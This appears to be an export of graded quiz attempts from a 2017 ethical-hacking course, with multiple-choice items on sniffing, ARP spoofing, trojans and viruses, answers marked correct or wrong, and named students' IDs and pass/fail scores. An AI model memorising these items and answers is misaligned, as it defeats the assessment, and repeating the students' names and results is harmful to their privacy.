	4	Retain access

3 S	5.000	281473913984528	13:41:31	13:45:00	03:29	209.071

... trojan starts a hidden proxy server on the victim's computer.

+	1	Proxy server
	2	FTP
	3	Remote Access
	4	Destructive

4 S	5.000	281473913984528	13:45:00	13:46:18	01:18	77.895

What is sniffing ?

	1	Cracking Method
+	2	Data Interception Technology
	3	Hacking Method
	4	Password Generator

5 S	5.000	281473913984528	13:46:18	13:48:49	02:31	100.643

You receive an e-mail with the following text message. "Microsoft and AOL today warned all customers that a new, highly dangerous virus has been discovered which will erase all your files at midnight. If there's a file called hidserv.exe on your computer, you have been infected and your computer is now running a hidden server that allows hackers to access your computer.
Delete the file immediately. Please also pass this message to all your friends and colleagues as soon as possible."
You launch your antivirus software and scan the suspicious looking file hidserv.exe located in c:\windows directory and the AV comes out clean meaning the file is not infected.
You view the file signature and confirm that it is a legitimate Windows system file "Human Interface Device Service".

What category of virus is this?

	1	Stealth Virus
+	2	Virus hoax
	3	Polymorphic Virus
	4	Spooky Virus

6 S	5.000	281473913984528	13:48:49	13:48:54	00:05	5.072

Which protocol is not susceptible to sniffer?

	1	http
	2	telnet
+	3	https
	4	pop3

7 S	5.000	281473913984528	13:48:57	13:49:10	00:13	13.168

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

	1	NTPCAP

	2	PCAP
+	3	WinPCAP
	4	LibPCAP

8 S	0.000	281473913984528	13:49:10	13:50:47	01:37	96.946

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

	1	Spoofing
	2	Firmware
-	3	Cryptographic
	4	Research projects

9 S	5.000	281473913984528	13:50:48	13:51:27	00:39	39.229

Most viruses operate in two phases, Infection Phase and ...

+	1	Attack Phase
	2	Defend Phase
	3	Local Phase
	4	Breeding Phase

10 S	0.000	281473913984528	13:51:28	13:54:18	02:50	170.041

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because wireless access points act like hubs on a network
-	2	Because wireless traffic uses only UDP which is easier to sniff
	3	Because all traffic is clear text, even when encrypted
	4	Because wireless networks can't enable encryption

11 S	5.000	281473913984528	13:54:18	13:58:30	04:12	252.125

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

	1	Flood switch with ICMP packets
	2	Conduct MiTM against the switch
	3	Launch smurf attack against the switch
+	4	ARP spoof the default gateway

12 S	5.000	281473913984528	13:58:32	13:58:40	00:08	8.343

... combines two programs into single file, usually used to hide trojan.

+	1	A wrapper
	2	A router
	3	A firewall
	4	An attacker

13 S	5.000	281473913984528	13:58:40	13:59:13	00:33	32.441

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*

UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

+	1	netstat -an
	2	route print
	3	ipconfig -a
	4	ifconfig -s

14 S	5.000	281473913984528	13:59:13	13:59:54	00:41	41.211

In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.

+	1	Careless
	2	Aware
	3	Careful
	4	Good

15 S	0.000	281473913984528	13:59:56	14:01:54	01:58	104.355

... is a channel that transfers information within a computer system, or network, in a way that violates security policy.

	1	Overt Channel
	2	Backdoor Channel
-	3	Trojan Channel
	4	Covert Channel

16 S	0.000	281473913984528	14:01:55	14:03:17	01:22	81.868

Sniffing that conducted through a switch can be categorized as ...

-	1	Passive sniffing
	2	Active sniffing
	3	Agressive sniffing
	4	Silent sniffing

17 S	5.000	281473913984528	14:03:17	14:05:10	01:53	112.322

ARP is the name of a protocol that convert an ... to MAC Address.

	1	Domain Address
	2	MCA Address
	3	Web Address
+	4	IP Address

18 S	5.000	281473913984528	14:05:10	14:05:22	00:12	11.951

Which method is the most difficult to detect ?

	1	Active sniffing
+	2	Passive sniffing
	3	Silent sniffing
	4	Agressive sniffing

19 S	5.000	281473913984528	14:05:22	14:06:08	00:46	46.25

MAC flooding is method that force a ... to act or work as a hub.

+	1	Switch
	2	Access Point
	3	Hub
	4	Router

20 S	5.000	281473913984528	14:06:08	14:08:14	02:06	125.863

June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs.

Can June use an antivirus program in this case and would it be effective against a polymorphic virus?

	1	Yes. June can use an antivirus program since it compares the parity bit of executable files to the database of known check sum counts and it is effective on a polymorphic virus
	2	Yes. June can use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and it is very effective against a polymorphic virus
	3	No. June can't use an antivirus program since it compares the size of executable files to the database of known viral signatures and it is effective on a polymorphic virus
+	4	No. June can't use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and in the case the polymorphic viruses cannot be detected by a signature-based anti-virus program

School name
first row
second row
third row

test: Kuis-01 EH2-A (Reg Genap 2016-2017)

surname:	1472058
name:	TOMMI STEVANUS
user:	1472058
start time:	2017-01-30 13:35:19
end time:	2017-01-30 14:02:47
time:	00:27:28
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**85.000 / 100.000 (85%) - PASSED**

Kuis-01 EH2-A (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]

1 S	5.000		281473913984548	13:35:19	13:36:02	00:43	43.134
Which method is the most difficult to detect ?							
	1	Silent sniffing					
+	2	Passive sniffing					
	3	Active sniffing					
	4	Agressive sniffing					

2 S	5.000		281473913984548	13:36:02	13:37:04	01:02	62.232
... combines two programs into single file, usually used to hide trojan.							
	1	A firewall					
+	2	A wrapper					
	3	A router					
	4	An attacker					

3 S	5.000		281473913984548	13:37:04	13:38:56	01:52	111.983
Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position. Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking. What technique could Harold use to sniff agency's switched network?							
+	1	ARP spoof the default gateway					
	2	Flood switch with ICMP packets					
	3	Launch smurf attack against the switch					
	4	Conduct MiTM against the switch					

4 S	5.000		281473913984548	13:38:56	13:41:48	02:52	171.363
Which protocol is not susceptible to sniffer?							
	1	telnet					
+	2	https					
	3	pop3					
	4	http					

5 S	5.000		281473913984548	13:41:48	13:43:39	01:51	111.152
Sniffing that conducted through a hub can be categorized as ...							
	1	Silent sniffing					
+	2	Passive sniffing					
	3	Agressive sniffing					
	4	Active sniffing					

6 S	5.000		281473913984548	13:43:39	13:45:17	01:38	97.502
MAC flooding is method that force a ... to act or work as a hub.							
	1	Access Point					
+	2	Switch					
	3	Router					
	4	Hub					

7 S	5.000		281473913984548	13:45:17	13:46:18	01:01	61.165
ARP is the name of a protocol that convert an ... to MAC Address.							
	1	Web Address					
	2	MCA Address					
+	3	IP Address					

	4	Domain Address

8 S	0.000		281473913984548	13:46:18	13:47:50	01:32	91.903

What is sniffing ?

	1	Data Interception Technology
	2	Password Generator
-	3	Hacking Method
	4	Cracking Method

9 S	5.000		281473913984548	13:47:50	13:48:20	00:30	30.096

... trojan will destroys operating system when executed.

	1	Data-Sending
+	2	Destructive
	3	Remote access
	4	DoS Attack

10 S	5.000		281473913984548	13:48:20	13:48:54	00:34	33.783

Most viruses operate in two phases, Infection Phase and ...

+	1	Attack Phase
	2	Defend Phase
	3	Local Phase
	4	Breeding Phase

11 S	5.000		281473913984548	13:48:54	13:51:48	02:54	173.824

... is a technique for active sniffing.

	1	Broadcast flooding
	2	MAC sniffing
	3	IP spoofing
+	4	ARP spoofing

12 S	5.000		281473913984548	13:51:48	13:52:55	01:07	67.292

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

	1	route print
	2	ipconfig -a
	3	ifconfig -s
+	4	netstat -an

13 S	5.000		281473913984548	13:52:55	13:54:02	01:07	67.163

June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs.

Can June use an antivirus program in this case and would it be effective against a polymorphic virus?

+	1	No. June can't use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and in the case the polymorphic viruses cannot be detected by a signature-based anti-virus program
	2	No. June can't use an antivirus program since it compares the size of executable files to the database of known viral signatures and it is effective on a polymorphic virus
	3	Yes. June can use an antivirus program since it compares the parity bit of executable files to the database of known check sum counts and it is effective on a polymorphic virus
	4	Yes. June can use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and it is very effective against a polymorphic virus

14 S	5.000		281473913984548	13:54:02	13:55:04	01:02	61.436

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Destructive Trojan
	2	Proxy Server

	3	Over Channel
+	4	ICMP Tunneling

15 S	5.000	281473913984548	13:55:04	13:55:52	00:48	48.333

You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open.

What is the next step you would do?

	1	Install and run Trojan removal software.
	2	Re-run anti-virus software.
+	3	Run utility CurrPorts and look for the application executable that listens on port 6666.
	4	Re-install the operating system.

16 S	5.000	281473913984548	13:55:52	13:59:00	03:08	187.896

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

	1	Spoofing
	2	Cryptographic
	3	Firmware
+	4	Research projects

17 S	0.000	281473913984548	13:59:00	14:00:13	01:13	73.175

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because all traffic is clear text, even when encrypted
	2	Because wireless networks can't enable encryption
-	3	Because wireless traffic uses only UDP which is easier to sniff
	4	Because wireless access points act like hubs on a network

18 S	5.000	281473913984548	14:00:13	14:01:33	01:20	79.826

.. are malicious pieces of code that carry cracker software to a target system.

+	1	Trojans
	2	Firewall
	3	Overt
	4	Antivirus

19 S	0.000	281473913984548	14:01:33	14:02:34	01:01	61.356

Trojans are used primarily to Gain and ... on the target system.

	1	Destroy
-	2	Obtain
	3	Retain access
	4	Defend

20 S	5.000	281473913984548	14:02:34	14:02:47	00:13	12.64

Sniffing that conducted through a switch can be categorized as ...

	1	Agressive sniffing
	2	Silent sniffing
+	3	Active sniffing
	4	Passive sniffing

School name
first row
second row
third row

test: Kuis-01 EH2-A (Reg Genap 2016-2017)

surname:	1472066
name:	JOHNNY BASKORO
user:	1472066
start time:	2017-01-30 13:35:12
end time:	2017-01-30 14:00:51
time:	00:25:39
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**70.000 / 100.000 (70%) - PASSED**

Kuis-01 EH2-A (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	5.000	281473913984526	13:35:12	13:36:04	00:52	51.376

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Destructive Trojan
	2	Over Channel
	3	Proxy Server
+	4	ICMP Tunneling

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
2 S	0.000	281473913984526	13:36:04	13:38:19	02:15	135.274

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

	1	Launch smurf attack against the switch
	2	Conduct MiTM against the switch
	3	ARP spoof the default gateway
-	4	Flood switch with ICMP packets

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
3 S	5.000	281473913984526	13:38:19	13:39:46	01:27	86.9

Sniffing that conducted through a hub can be categorized as ...

+	1	Passive sniffing
	2	Silent sniffing
	3	Active sniffing
	4	Agressive sniffing

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
4 S	0.000	281473913984526	13:39:46	13:40:07	00:21	21.182

Trojans are used primarily to Gain and ... on the target system.

	1	Defend
-	2	Destroy
	3	Retain access
	4	Obtain

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
5 S	5.000	281473913984526	13:40:07	13:42:28	02:21	140.385

MAC flooding is method that force a ... to act or work as a hub.

	1	Access Point
	2	Hub
+	3	Switch
	4	Router

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
6 S	0.000	281473913984526	13:42:28	13:42:36	00:08	7.641

Which method is the most difficult to detect ?

	1	Passive sniffing
	2	Agressive sniffing
-	3	Silent sniffing
	4	Active sniffing

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
7 S	5.000	281473913984526	13:42:36	13:46:13	03:37	217.358

You receive an e-mail with the following text message. "Microsoft and AOL today warned all customers that a new, highly dangerous virus has been discovered which will erase all your files at midnight. If there's a file called hidserv.exe on your computer, you have been infected and your computer is now running a hidden server that allows hackers to access your computer.
Delete the file immediately. Please also pass this message to all your friends and colleagues as soon as possible."

You launch your antivirus software and scan the suspicious looking file hidserv.exe located in c:\windows directory and the AV comes out clean meaning the file is not infected.
You view the file signature and confirm that it is a legitimate Windows system file "Human Interface Device Service".

What category of virus is this?

	1	Spooky Virus
+	2	Virus hoax
	3	Stealth Virus
	4	Polymorphic Virus

8 S	5.000	281473913984526	13:46:13	13:49:45	03:32	211.778

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

+	1	Research projects
	2	Spoofing
	3	Cryptographic
	4	Firmware

9 S	5.000	281473913984526	13:49:45	13:50:16	00:31	31.511

... trojan starts a hidden proxy server on the victim's computer.

	1	Remote Access
	2	FTP
+	3	Proxy server
	4	Destructive

10 S	5.000	281473913984526	13:50:16	13:50:27	00:11	10.647

Sniffing that conducted through a switch can be categorized as ...

	1	Passive sniffing
	2	Silent sniffing
	3	Agressive sniffing
+	4	Active sniffing

11 S	5.000	281473913984526	13:50:27	13:53:03	02:36	156.323

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

	1	ifconfig -s
+	2	netstat -an
	3	ipconfig -a
	4	route print

12 S	5.000	281473913984526	13:53:03	13:53:46	00:43	42.088

What is sniffer?

	1	A computer that distributes fake MAC address
	2	Person who hack the network
	3	A server that send continuous packet to a victim
+	4	A program or device that captures the information from the network traffic

13 S	5.000	281473913984526	13:53:46	13:54:23	00:37	37.271

ARP is the name of a protocol that convert an ... to MAC Address.

	1	Web Address
	2	Domain Address
+	3	IP Address
	4	MCA Address

14 S	0.000	281473913984526	13:54:23	13:55:39	01:16	76.127

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside

consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

-	1	Because wireless networks can't enable encryption
	2	Because wireless access points act like hubs on a network
	3	Because all traffic is clear text, even when encrypted
	4	Because wireless traffic uses only UDP which is easier to sniff

15 S	5.000	281473913984526	13:55:39	13:55:46	00:07	7.105

... combines two programs into single file, usually used to hide trojan.

	1	A router
	2	A firewall
	3	An attacker
+	4	A wrapper

16 S	0.000	281473913984526	13:55:46	13:58:05	02:19	138.364

... is a channel that transfers information within a computer system, or network, in a way that violates security policy.

	1	Backdoor Channel
	2	Covert Channel
-	3	Overt Channel
	4	Trojan Channel

17 S	5.000	281473913984526	13:58:05	13:59:40	01:35	94.9

... is a technique for active sniffing.

	1	IP spoofing
	2	Broadcast flooding
	3	MAC sniffing
+	4	ARP spoofing

18 S	5.000	281473913984526	13:59:40	14:00:28	00:48	48.008

Most viruses operate in two phases, Infection Phase and ...

	1	Defend Phase
+	2	Attack Phase
	3	Local Phase
	4	Breeding Phase

19 S	5.000	281473913984526	14:00:28	14:00:40	00:12	12.74

... trojan will destroys operating system when executed.

	1	Remote access
	2	DoS Attack
	3	Data-Sending
+	4	Destructive

20 S	0.000	281473913984526	14:00:40	14:00:51	00:11	11.048

What is sniffing ?

	1	Password Generator
	2	Data Interception Technology
	3	Hacking Method
-	4	Cracking Method

School name
first row
second row
third row

test: Kuis-01 EH2-A (Reg Genap 2016-2017)

surname:	1472049
name:	YOSEPH AUDRIAN
user:	1472049
start time:	2017-01-30 13:35:20
end time:	2017-01-30 14:02:59
time:	00:27:39
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**65.000 / 100.000 (65%) - NOT PASSED**

Kuis-01 EH2-A (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	0.000	281473913984550	13:35:20	14:02:59	27:39	38.122

... is a technique for active sniffing.

	1	Broadcast flooding
	2	MAC sniffing
	3	ARP spoofing
-	4	IP spoofing

2 S	0.000	281473913984550	13:38:39	13:57:42	19:03	6.819

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because wireless access points act like hubs on a network
	2	Because all traffic is clear text, even when encrypted
-	3	Because wireless traffic uses only UDP which is easier to sniff
	4	Because wireless networks can't enable encryption

3 S	0.000	281473913984550	13:40:44	14:01:12	20:28	183.941

ARP is the name of a protocol that convert an ... to MAC Address.

	1	IP Address
	2	MCA Address
-	3	Domain Address
	4	Web Address

4 S	5.000	281473913984550	13:42:05	13:42:14	00:09	9.479

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

+	1	WinPCAP
	2	PCAP
	3	LibPCAP
	4	NTPCAP

5 S	5.000	281473913984550	13:42:15	13:44:44	02:29	148.558

... are distinguished from viruses by the fact that a virus requires some form of the human intervention to infect a computer, whereas it doesn't.

+	1	Worms
	2	Pranks
	3	Trojan
	4	Hoax

6 S	0.000	281473913984550	13:44:44	13:46:49	02:05	125.1

... trojan will destroys operating system when executed.

	1	Remote access
-	2	DoS Attack
	3	Destructive
	4	Data-Sending

7 S	5.000	281473913984550	13:46:53	13:47:37	00:44	44.502

Which method is the most difficult to detect ?

	1	Active sniffing

	2	Agressive sniffing
+	3	Passive sniffing
	4	Silent sniffing

8 S	0.000	281473913984550	13:47:38	13:48:27	00:49	48.943

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

	1	Spoofing
-	2	Cryptographic
	3	Research projects
	4	Firmware

9 S	5.000	281473913984550	13:48:28	13:48:37	00:09	8.487

... combines two programs into single file, usually used to hide trojan.

	1	A firewall
+	2	A wrapper
	3	An attacker
	4	A router

10 S	5.000	281473913984550	13:48:38	13:49:17	00:39	18.267

In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.

	1	Good
+	2	Careless
	3	Aware
	4	Careful

11 S	5.000	281473913984550	13:48:42	13:49:57	01:15	38.386

What is sniffing ?

	1	Cracking Method
	2	Hacking Method
+	3	Data Interception Technology
	4	Password Generator

12 S	5.000	281473913984550	13:48:42	13:52:07	03:25	128.9

MAC flooding is method that force a ... to act or work as a hub.

	1	Access Point
+	2	Switch
	3	Router
	4	Hub

13 S	5.000	281473913984550	13:48:43	13:52:45	04:02	37.801

You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open.

What is the next step you would do?

	1	Install and run Trojan removal software.
	2	Re-install the operating system.
	3	Re-run anti-virus software.
+	4	Run utility CurrPorts and look for the application executable that listens on port 6666.

14 S	0.000	281473913984550	13:48:43	13:54:32	05:49	105.749

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

-	1	Flood switch with ICMP packets
	2	Conduct MiTM against the switch
	3	Launch smurf attack against the switch
	4	ARP spoof the default gateway

15 S	0.000	281473913984550	13:48:44	13:54:41	05:57	8.127

... is a channel that transfers information within a computer system, or network, in a way that violates security policy.

	1	Covert Channel
-	2	Backdoor Channel
	3	Trojan Channel
	4	Overt Channel

16 S	5.000	281473913984550	13:48:45	13:55:46	07:01	64.282

Sniffing that conducted through a hub can be categorized as ...

	1	Agressive sniffing
+	2	Passive sniffing
	3	Active sniffing
	4	Silent sniffing

17 S	5.000	281473913984550	13:48:46	14:01:30	12:44	6.603

June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs.

Can June use an antivirus program in this case and would it be effective against a polymorphic virus?

	1	Yes. June can use an antivirus program since it compares the parity bit of executable files to the database of known check sum counts and it is effective on a polymorphic virus
+	2	No. June can't use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and in the case the polymorphic viruses cannot be detected by a signature-based anti-virus program
	3	Yes. June can use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and it is very effective against a polymorphic virus
	4	No. June can't use an antivirus program since it compares the size of executable files to the database of known viral signatures and it is effective on a polymorphic virus

18 S	5.000	281473913984550	13:48:47	14:01:40	12:53	9.326

Trojans are used primarily to Gain and ... on the target system.

	1	Defend
	2	Destroy
	3	Obtain
+	4	Retain access

19 S	5.000	281473913984550	13:48:47	14:01:50	13:03	9.135

Most viruses operate in two phases, Infection Phase and ...

+	1	Attack Phase
	2	Breeding Phase
	3	Local Phase
	4	Defend Phase

20 S	5.000	281473913984550	13:48:48	13:57:15	08:27	13.563

What is sniffer?

+	1	A program or device that captures the information from the network traffic
	2	A server that send continuous packet to a victim
	3	Person who hack the network
	4	A computer that distributes fake MAC address

School name
first row
second row
third row

test: Kuis-01 EH2-B (Reg Genap 2016-2017)

surname:	1472026
name:	ROBIN KENARDY
user:	1472026
start time:	2017-02-03 13:30:37
end time:	2017-02-03 13:46:58
time:	00:16:21
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**85.000 / 100.000 (85%) - PASSED**

Kuis-01 EH2-B (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]

1 S	5.000	281473913980698	13:30:37	13:33:46	03:09	188.873

You receive an e-mail with the following text message. "Microsoft and AOL today warned all customers that a new, highly dangerous virus has been discovered which will erase all your files at midnight. If there's a file called hidserv.exe on your computer, you have been infected and your computer is now running a hidden server that allows hackers to access your computer.
Delete the file immediately. Please also pass this message to all your friends and colleagues as soon as possible."
You launch your antivirus software and scan the suspicious looking file hidserv.exe located in c:\windows directory and the AV comes out clean meaning the file is not infected.
You view the file signature and confirm that it is a legitimate Windows system file "Human Interface Device Service".

What category of virus is this?

	1	Polymorphic Virus
+	2	Virus hoax
	3	Stealth Virus
	4	Spooky Virus

2 S	5.000	281473913980698	13:33:46	13:34:14	00:28	27.669

You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open.

What is the next step you would do?

+	1	Run utility CurrPorts and look for the application executable that listens on port 6666.
	2	Re-install the operating system.
	3	Install and run Trojan removal software.
	4	Re-run anti-virus software.

3 S	5.000	281473913980698	13:34:14	13:35:02	00:48	47.976

Most viruses operate in two phases, Infection Phase and ...

	1	Breeding Phase
	2	Local Phase
	3	Defend Phase
+	4	Attack Phase

4 S	5.000	281473913980698	13:35:02	13:35:13	00:11	10.572

In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.

	1	Careful
+	2	Careless
	3	Aware
	4	Good

5 S	5.000	281473913980698	13:35:13	13:36:15	01:02	61.666

ARP is the name of a protocol that convert an ... to MAC Address.

	1	Domain Address
	2	Web Address
+	3	IP Address
	4	MCA Address

6 S	5.000	281473913980698	13:36:15	13:36:43	00:28	27.803

Which protocol is not susceptible to sniffer?

+	1	https
	2	telnet
	3	http
	4	pop3

7 S	5.000	281473913980698	13:36:43	13:42:48	06:05	6.021

Sniffing that conducted through a hub can be categorized as ...

	1	Agressive sniffing

+	2	Passive sniffing
	3	Active sniffing
	4	Silent sniffing

8 S	5.000	281473913980698	13:37:53	13:38:24	00:31	31.852

MAC flooding is method that force a ... to act or work as a hub.

+	1	Switch
	2	Hub
	3	Access Point
	4	Router

9 S	5.000	281473913980698	13:38:24	13:38:35	00:11	10.213

.. are malicious pieces of code that carry cracker software to a target system.

	1	Overt
+	2	Trojans
	3	Antivirus
	4	Firewall

10 S	0.000	281473913980698	13:38:35	13:39:09	00:34	34.565

... trojan will destroys operating system when executed.

	1	Remote access
-	2	DoS Attack
	3	Destructive
	4	Data-Sending

11 S	5.000	281473913980698	13:39:09	13:39:37	00:28	27.613

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Proxy Server
	2	Over Channel
